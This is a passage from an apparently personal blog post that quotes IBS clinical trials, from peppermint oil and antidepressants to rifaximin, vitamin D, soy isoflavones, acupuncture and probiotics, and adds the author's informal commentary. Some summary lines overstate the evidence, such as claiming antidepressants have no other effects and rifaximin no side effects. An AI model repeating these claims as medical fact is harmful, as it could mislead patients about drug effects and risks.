/wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/BkdShau5oAp6vd8zGdnHTfzVSVH6hPYiyRI5-OEWbDr43a1UPFSnj_WpZS1dVWT-w9k39ydZ3KeVsKndvc6XOLssQ_1bl3YZObV3WWH6O8gBMdVYbDpEwhN1owUpUgwQHxNwUD_8\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1590865807000618\">Peppermint oil (Mintoil®) in the treatment of irritable bowel syndrome: A prospective double blind placebo-controlled randomized trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I wanted to look at peppermint oil specifically because that’s what I used to use. It works well according to this study, although note that there’s a rebound between 4 to 8 weeks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fifty-seven patients with irritable bowel syndrome according to the Rome II criteria, with normal lactose and lactulose breath tests and negative antibody screening for celiac disease, were treated with peppermint oil (two enteric-coated capsules twice per day or placebo) for 4 weeks in a double blind study. The symptoms were assessed before therapy (T0), after the first 4 weeks of therapy (T4) and 4 weeks after the end of therapy (T8).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At T4, 75% of the patients in the peppermint oil group showed a &gt;50% reduction of basal (T0) total irritable bowel syndrome symptoms score compared with 38% in the placebo group (P &lt; 0.009). With peppermint oil at T4 and at T8 compared with T0 a statistically significant reduction of the total irritable bowel syndrome symptoms score was found (T0: 2.19 ± 0.13, T4: 1.07 ± 0.10*, T8: 1.60 ± 0.10*, *P &lt; 0.01 compared with T0, mean ± S.E.M.), while no change was found with the placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.minervamedica.it/en/journals/gazzetta-medica-italiana/article.php?cod=R22Y2005N02A0119\">Efficacy of peppermint oil in the treatment of irritable bowel syndrome: a randomized, controlled trial - Gazzetta Medica Italiana Archivio per le Scienze Mediche 2005 April;164(2):119-26 - Minerva Medica - Journals</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Another study showing an effect of peppermint oil, but I wonder if there was a rebound here, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We enrolled 178 consecutive patients affected by IBS, according to the Rome II diagnostic criteria. They were randomized by computer-generated lists to receive either Mintoil 2 capsules t.i.d. before meals for 3 months, or a placebo. A validated questionnaire was administered every 3 weeks to measure the outcome. Data were analysed by χ2 test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results. Ninety-one patients (22 M, 69 F; mean age 41 yrs; range 18-72 yrs) received Mintoil, and 87 patients (23 M, 64 F; mean age 44 yrs; range 21-74 yrs) assumed the placebo. Three patients withdrew from the study because of non IBS-related diseases, and two patients because of pyrosis. No other adverse events were recorded.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peppermint oil, compared to placebo, improved IBS overall symptoms in 73/91 (80%) vs 31/87 (36%) patients (p&lt;0.02). Particularly, significant improvements were achieved for gastroenteric symptoms, in 88/91 (97%) vs 29/87 (33%) patients (p&lt;0.01), psychical discomfort, in 34/91 (37%) vs 16/87 (18%) patients (p&lt;0.05), and socio-familiar impact, in 69/91 (76%) vs 37/87 (43%) patients (p&lt;0.04).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Discontinuation of proton pump inhibitors</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really an IBS one, but PPIs do lead to SIBO. Discontinuing them may help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2362.2010.02419.x\">Effects of long‐term PPI treatment on producing bowel symptoms and SIBO - Compare - 2011 - European Journal of Clinical Investigation - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I only really wanted one study for this, because it’s pretty well known, but here you go. They gave patients PPI and accidentally gave them IBS. The other patients who weren’t given PPI didn’t get IBS.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Methods Patients with NERD (acid reflux) not complaining of bowel symptoms were selected by upper endoscopy, 24‐h pH‐metry and a structured questionnaire concerning severity and frequency of bloating, flatulence, abdominal pain, diarrhoea and constipation. Patients were treated with esomeprazole 20 mg bid for 6 months. Prior to and after 8 weeks and 6 months of therapy, patients received the structured questionnaire and underwent evaluation of SIBO by glucose hydrogen breath test (GHBT).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results Forty‐two patients with NERD were selected out of 554 eligible patients. After 8 weeks of PPI treatment, patients complained of bloating, flatulence, abdominal pain and diarrhoea in 43%, 17%, 7% and 2%, respectively. After 6 months, the incidence of bowel symptoms further increased and GHBT (glucose hydrogen breath test) was found positive in 11/42 (26%) patients. By a post hoc analysis, a significant (P &lt; 0·05) percentage of patients (8/42) met Rome III criteria for irritable bowel syndrome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Antidepressants</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antidepressants probably make you feel better if you have IBS, in the same way that therapy would. They don’t have any other effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/ajg/Abstract/2004/05000/Paroxetine_to_Treat_Irritable_Bowel_Syndrome_Not.27.aspx\"><strong>Paroxetine to Treat Irritable Bowel Syndrome Not Responding... : Official journal of the American College of Gastroenterology | ACG (lww.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that well-being improves with paroxetine, which is an antidepressant, but specific IBS related symptoms do not.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Group 2, overall well-being improved more with paroxetine than with placebo (63.3%vs 26.3%; p = 0.01), but abdominal pain, bloating, and social functioning did not. With paroxetine, food avoidance decreased (p = 0.03) and work functioning was marginally better (p = 0.08). Before unblinding, more paroxetine recipients than placebo recipients wanted to continue their study medication (84%vs 37%; p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528209181108\">The Effect of Trimipramine in Patients with the Irritable Bowel Syndrome: A Double-Blind Study: Scandinavian Journal of Gastroenterology: Vol 17, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one shows that trimipramine helps when given a bedtime, for both IBS scores and quality of life. However, I’m not entirely sure what this study is measuring, because there’s a lot of vomiting in this study. IBS patients shouldn’t be vomiting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;61 patients were given either 50 mg trimipramine at bedtime or identically looking coded placebo in a prospective study for 4 weeks. The complaints were graded on an analogue scale by both the patients and the physicians. The results showed that the complaint scores were significantly reduced to about half in the placebo group. In the group treated with trimipramine a significantly greater reduction was found for the scores of vomiting, sleeplessness, depression, and for the mucus content of stools. The scores for tiredness during treatment had decreased less in the group receiving trimipramine than in the one receiving placebo. These improvements occurred already during the first week of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/4TbIAZAW-7T9BTfTM0AGL1OhXZWr1YZXApIxVEpelqmKt5Eol1FxXneuEGV4j7WjjsM7CYqmWMm8qHlFAIvoFHGkx1A_N4AJp0o6mUJC-Qzm6nVIdr-CXRj-q3SWrLnmt-jy0_dW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508503006693\">Cognitive-behavioral therapy versus education and desipramine versus placebo for moderate to severe functional bowel disorders - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a fun study which compared therapy vs. desipramine, which is an antidepressant. Therapy came out better than desipramine, desipramine came out kind of better than placebo but it’s hard to tell. This one breaks out the “intention to treat” vs. “per protocol”, which basically means that there were a lot of patients who they intended to treat but didn’t (i.e. they dropped out). Also, if you read between the lines, this sort of detailed “subgroup analysis”, where they try to get really specific about who would benefit from desipramine, is usually an attempt to rescue a study that went poorly so they have to find some benefit somewhere. Not a good study!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intention-to-treat analysis</a> showed CBT as significantly more effective than EDU (<em>P</em> = 0.0001; responder rate, 70% CBT vs. 37% EDU; <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/numbers-needed-to-treat\">number needed to treat</a> [NNT ], 3.1). DES did not show significant benefit over PLA in the intention-to-treat analysis (<em>P</em> = 0.16; responder rate, 60% DES vs. 47% PLA; NNT, 8.1) but did show a statistically significant benefit in the per-protocol analysis (<em>P</em> = 0.01; responder rate, 73% DES vs. 49% PLA; NNT, 5.2), especially when participants with nondetectable blood levels of DES were excluded (<em>P</em> = 0.002). Improvement was best gauged by satisfaction with treatment. Subgroup analyses showed that DES was beneficial over PLA for moderate more than severe symptoms, abuse history, no depression, and diarrhea-predominant symptoms;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2008.03633.x\">Clinical trial: the effect of amitriptyline in patients with diarrhoea‐predominant irritable bowel syndrome - VAHEDI - 2008 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study seems to have a strong effect for low dose amitriptyline, and was overall a well performed study.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients were randomly assigned to receive either 10 mg amitriptyline daily or placebo. Subjects were followed up for 2 months and symptoms were assessed using a questionnaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients receiving amitriptyline showed greater complete response, defined as loss of all symptoms, compared with those receiving placebo (68% vs. 28%, <em>P</em> = 0.01).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/jj6ynhnua_NDKcZUNsJY0jfvSwAahDKfLjZX7sAeYtYs5DSjPQbkszEykIhvBDPLXNLIU9YghGdbxXLbDUW-SL0b_WpqW4cArud_Jgb5YNYY9I98QZySQ23TU_zNX5NKUyV_aXJx\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2721237/\">A randomized controlled trial of imipramine in patients with irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study has a remarkably high dropout rate, and it’s hard to even know what to think. Why did half the study leave?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One hundred and seven patients were enrolled by advertisement or referral by general practitioners and 56 (31 imipramine: 25 placebo) completed the 16-wk study. Baseline characteristics were comparable. A high overall dropout rate was noted in the imipramine and placebo arms (47.5% <em>vs</em> 47.9%, <em>P</em> &gt; 0.05), a mean of 25.0 and 37.4 d from enrollment, respectively (<em>P</em> &lt; 0.05). At the end of 12 wk, there was a significant difference in global symptom relief with imipramine over placebo (per-protocol: 80.6% <em>vs</em> 48.0%, <em>P</em> = 0.01) and a trend on intent-to-treat (ITT) analysis (42.4% <em>vs</em> 25.0%, <em>P</em> = 0.06). This improvement was evident early and persisted to week 16 (<em>P</em> = 0.024 and 0.053 by per-protocol and ITT analyses, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0033318209707649\">A Double-Blind, Randomized, Placebo-Controlled Trial of Paroxetine Controlled-Release in Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study compared psychotherapy vs. paroxetine vs. routine care. Psychotherapy actually came out on top.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seventy-two patients with IBS participated in a 12-week, double-blind, randomized, <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/placebo-controlled-study\">placebo-controlled study</a> of paroxetine-CR (12.5 mg–50 mg/day).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intent-to-treat</a> analyses, there were no significant differences between paroxetine-CR (N = 36) and placebo (N = 36) on reduction in Composite Pain Scores, although the proportion of responders on CGI–I was significantly higher in the paroxetine-CR group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients with severe IBS were randomly allocated to receive 8 sessions of individual psychotherapy, 20 mg daily of the specific serotonin reuptake inhibitor (SSRI) antidepressant, paroxetine, or routine care by a gastroenterologist and general practitioner.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both psychotherapy and paroxetine were superior to treatment as usual in improving the physical aspects of health-related quality of life (SF-36 physical component score improvement, 5.2 [SEM, 1.26], 5.8 [SEM, 1.0], and −0.3 [SEM, 1.17]; <em>P</em> &lt; 0.001), but there was no difference in the psychological component. During the follow-up year, psychotherapy but not paroxetine was associated with a significant reduction in health care costs compared with treatment as usual (psychotherapy, $976 [SD, $984]; paroxetine, $1252 [SD, $1616]; and treatment as usual, $1663 [SD, $3177]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1542356503700391\">The selective serotonin reuptake inhibitor fluoxetine does not change rectal sensitivity and symptoms in patients with irritable bowel syndrome: A double blind, randomized, placebo-controlled study - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study weirdly looked at rectal sensitivity as a measure, as well as pain. It showed fluoxetine helped with pain, but not with any IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Forty non-depressed IBS patients underwent a rectal <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/barostat\">barostat</a> study to assess the sensitivity to rectal distention before and after 6 weeks of treatment with fluoxetine 20 mg or placebo. Abdominal pain scores, individual <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/gastrointestinal-distress\">gastrointestinal symptoms</a>, global symptom relief, and psychologic symptoms were assessed before and after the intervention</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine did not significantly alter the threshold for discomfort/pain relative to placebo, either in hypersensitive (19 ± 3 vs. 22 ± 2 mm Hg above MDP) or in normosensitive (34 ± 2 vs. 39 ± 4 mm Hg above MDP) IBS patients. Overall, 53% of fluoxetine-treated patients and 76% of placebo-treated patients reported significant abdominal pain scores after 6 weeks (not significant). In contrast, in hypersensitive patients only, fluoxetine significantly reduced the number of patients reporting significant abdominal pain. Gastrointestinal symptoms, global symptom relief, and psychologic symptoms were not altered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/55/8/1095.short\">A controlled crossover study of the selective serotonin reuptake inhibitor citalopram in irritable bowel syndrome | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found an effect of citalopram on pain and bloating, but not really on IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twenty three non-depressed IBS patients were recruited from a tertiary care centre and included in a crossover trial comparing six weeks of treatment with the SSRI citalopram (20 mg for three weeks, 40 mg for three weeks) with placebo. IBS symptom severity was the primary outcome measure, and depression and anxiety scores were also measured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After three and six weeks of treatment, citalopram significantly improved abdominal pain, bloating, impact of symptoms on daily life, and overall well being compared with placebo. There was only a modest effect on stool pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S154235650900891X\">Citalopram Provides Little or No Benefit in Nondepressed Patients With Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found no effect of citalopram.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients from primary, secondary, and tertiary care settings were randomly assigned to receive citalopram (20 mg/day for 4 weeks, then 40 mg/day for 4 weeks) or placebo in a study with double-masking and concealed allocation. Symptoms were assessed weekly, and IBS-QOL and rectal sensation by barostat were assessed at the beginning and end of the study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2005.02566.x\">The effect of fluoxetine in patients with pain and constipation‐predominant irritable bowel syndrome: a double‐blind randomized‐controlled study - VAHEDI - 2005 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found a big effect of fluoxetine on constipation, and seemed well-performed. They didn’t check if their patients were anxious or depressed, though.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine was significantly more effective than placebo in decreasing abdominal discomfort, relieving feeling and sense of bloating, increasing frequency of bowel movements and decreasing consistency of stool. Mean number of symptoms per patient decreased from 4.6 to 0.7 in the fluoxetine group vs. 4.5 to 2.9 in controls (<em>P</em> &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scholar.google.com/scholar_lookup?journal=Digestive+diseases+and+sciences&amp;title=Antidepressant+therapy+(imipramine+and+citalopram)+for+irritable+bowel+syndrome:+a+double-blind,+randomized,+placebo-controlled+trial&amp;author=NJ+Talley&amp;author=JE+Kellow&amp;author=P+Boyce&amp;author=C+Tennant&amp;author=S+Huskic&amp;volume=53&amp;issue=1&amp;publication_year=2008&amp;pages=108-15&amp;pmid=17503182&amp;doi=10.1007/s10620-007-9830-4&amp;\">Talley: Antidepressant therapy (imipramine and citalopram... - Google Scholar</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study didn’t find any effect for citalopram, but it did find it for imipramine.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of&nbsp; 51&nbsp; IBS&nbsp; patients&nbsp; randomized,&nbsp; baseline&nbsp; characteristics were comparable among the treatment arms; themajority was diarrhea-predominant. Adequate relief of IBS symptoms&nbsp; (primary&nbsp; endpoint)&nbsp; was&nbsp; similar&nbsp; for&nbsp; each&nbsp; treat-ment arm. Improvements in bowel symptom severity rating for&nbsp; interference&nbsp; (P= 0.05)&nbsp; and&nbsp; distress&nbsp; (P= 0.02)&nbsp; were greater with imipramine versus placebo, but improvements in abdominal &nbsp; pain&nbsp; were not. There &nbsp; was &nbsp; a &nbsp; greater improvement in depression score (P = 0.08) and in the SF-36 Mental Component&nbsp; Score (P= 0.07), with imipramine. Citalopram was not superior to placebo. Approximately 20% of&nbsp; the&nbsp; variance&nbsp; in&nbsp; scores&nbsp; was&nbsp; explained&nbsp; by&nbsp; treatment&nbsp; differences&nbsp; for&nbsp; abdominal&nbsp; pain,&nbsp; bowel&nbsp; symptom&nbsp; severity disability, depression and the mental component of the SF-36.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Rifaximin</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5291563/\">Rifaximin for Irritable Bowel Syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a metastudy of the 4 studies they found that tested rifaximin. Rifaximin came out pretty well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/fVb03CIWGHTEN9MXLF2XWw1hpiKtjoT1YdZ33BJBlz2VXiQ4omkgf6fWUsgbmPkRcyWhEaBcjTBfLViuKO1C0sQjncujoZPFB03SKxVI53c785ZDZS3LhUfJeNkkXre5sqBJK4vL\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/O2cQK6kc7C0Ryx4YJdnK2g8cyt1gy04hVK5HESHprJIUiYMClToNSGqZRURu3IrA185CgEsHkS16ssD3MIns7oOI6SNdkeRULPiEgV-o6R8O2ZnRD2lrzMPQ-yG9hC5JlpGELUrz\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Abdominal Pain</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of abdominal pain during the treatment period was observed between the 3 RCTs in which abdominal pain was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nausea</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of nausea during the treatment period was observed between the 3 RCTs in which nausea was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vomiting</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of vomiting during the treatment period was observed between the 3 RCTs in which vomiting was reported (<em>I</em>2 = 0%)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Headache</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of headache during the treatment period was observed between the 3 RCTs in which headache was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vitamin D</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Very high doses of vitamin D every 2 weeks probably improve IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/nmo.12851\"><strong>Effect of vitamin D on gastrointestinal symptoms and health‐related quality of life in irritable bowel syndrome patients: a randomized double‐blind clinical trial - Abbasnezhad - 2016 - Neurogastroenterology &amp;amp; Motility - Wiley Online Library</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I like this one because it’s actually long term. It shows remarkably big effects, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 90 IBS patients participated in this double‐blind, randomized, placebo‐controlled study. Participants were randomly selected to receive either 50 000 IU vitamin D3 or a placebo fortnightly for a period of 6 months. Patients reported their IBS symptoms at the baseline and monthly during intervention periods</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the 6‐month intervention period, a significantly greater improvement in IBS symptoms such as abdominal pain and distention, flatulence, rumbling, and overall gastrointestinal (GI) symptoms (except dissatisfaction with bowel habits) was observed in the patients receiving vitamin D as compared to the placebo group. The IBSSS and the IBS‐QoL scores in the vitamin D group significantly improved compared to the placebo group postintervention (mean IBSSS score change: −53.82 ± 23.3 <em>vs</em> −16.85 ± 25.01, <em>p</em> &lt; 0.001, respectively; mean IBS‐QoL score change: 14.26 ± 3 <em>vs</em> 11 ± 2.34, <em>p</em> &lt; 0.001, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0158545\">Co-Administration of Soy Isoflavones and Vitamin D in Management of Irritable Bowel Disease (plos.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one also tests isoflavones, and seems to find a bigger effect of soy isoflavones than vitamin D, although both have an effect. It was only for 6 weeks, though. Also, the groups seem really poorly assigned: the before scores are all over the place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a factorial blinded randomized clinical trial, 100 women with IBS (age:18-75yr, were randomly assigned in 4 arms to receive either placebo of vitamin D and placebo of soy isoflavones (P+P), or placebo of vitamin D and soy isoflavones (P+S), or vitamin D and placebo of soy isoflavones (D+P), or vitamin D and soy isoflavones (D+S) for 6 weeks. Dosage of soy isoflavone was 2 capsules of 20 mg soy isoflavones per day, and dosage of vitamin D was one pearl of 50’000 IU biweekly. The clinical outcomes were IBS symptoms severity scores (IBS-SSS), disease- specific quality of life (IBS-QOL) and total score (IBS-TS) that evaluated at weeks 0, 6, and 10, and compared to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3kC-UPQilx1ay5tWQbbPZvLJXsM5BFWne2W6gcxkE6bY9TFqss83v7RvEkLiSlGqS1PYfpa-bCsHTQm5VgOgzcfDSDErjjBYN7FuWFYm6SWeuEUjXW2xTWRcKq-tWeXVR2MUgOyi\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/3O_uEfVZsAkC3sARQuSFvgklEkbx-okq5onFxlFs2rfyACX7-J8MppqULeG8w2wWByw2bknhPu67PvGwdOz5zSv2fcl1UT3g11ySBmO_UXzUlgzEzWDKc3Tpl4TvHIaz93UJ18UW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Soy isoflavones</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Soy isoflavones may improve IBS, but it’s hard to tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4560632/\">Soy Isoflavones Supplementation for Patients with Irritable Bowel Syndrome: A Randomized Double Blind Clinical Trial (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is just testing soy isoflavones. It’s really hard to tell what’s going on here, as either the soy isoflavones did show some amount of improvement that was almost significant (p value of 0.068), or they actually made things worse.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a randomized double blind placebo-controlled clinical trial, 67 patients with IBS were allocated to consume either soy isoflavones capsules or a placebo for 6 weeks. The primary outcome was a significant reduction in symptoms severity score and the secondary outcome was a significant improvement in quality of life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>45 participants completed the study. There was no significant changes in mean differences of symptoms severity score between the two groups; however soy isoflavone supplementation could significantly improve the quality of life scores (<em>p</em>=0.009).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Gwt0z67QCnAeyoz2MSiLwj_7d_nkS1t1oHpoxr269unsANIrqP5lImRD2n8K2y9QsVfOg2hO-jliOT4Hb8eLrj1WtZZ_h9_WoyvQEmI-3THmYjwkY-Exaqpb65XsOrDOQOFfPjpO\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Acupuncture</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acupuncture probably doesn’t work better than fake acupuncture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3718572/\">Acupuncture for treatment of irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one seems self-explanatory. Also, I’m biased against acupuncture.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We found no evidence of an improvement with acupuncture relative to sham (placebo) acupuncture for symptom severity (SMD-0.11, 95%CI −0.35 to 0.13; 4 RCTs; 281 patients) or quality of life (SMD = −0.03, 95%CI −0.27 to 0.22; 3 RCTs; 253 patients).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Probiotics</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probiotics may help a little bit but it’s hard to tell. This is compounded by the fact that how probiotics are stored and processed matters a lot to whether they survive all the way to colonize your digestive tract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://scielo.isciii.es/pdf/diges/v105n1/original4.pdf#page=1\">Effect of probiotic species on irritable bowel syndrome symptoms:A bring up to date meta-analysis</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study only looked at species, and not at formulation. Also, I don’t trust that some probiotics improve 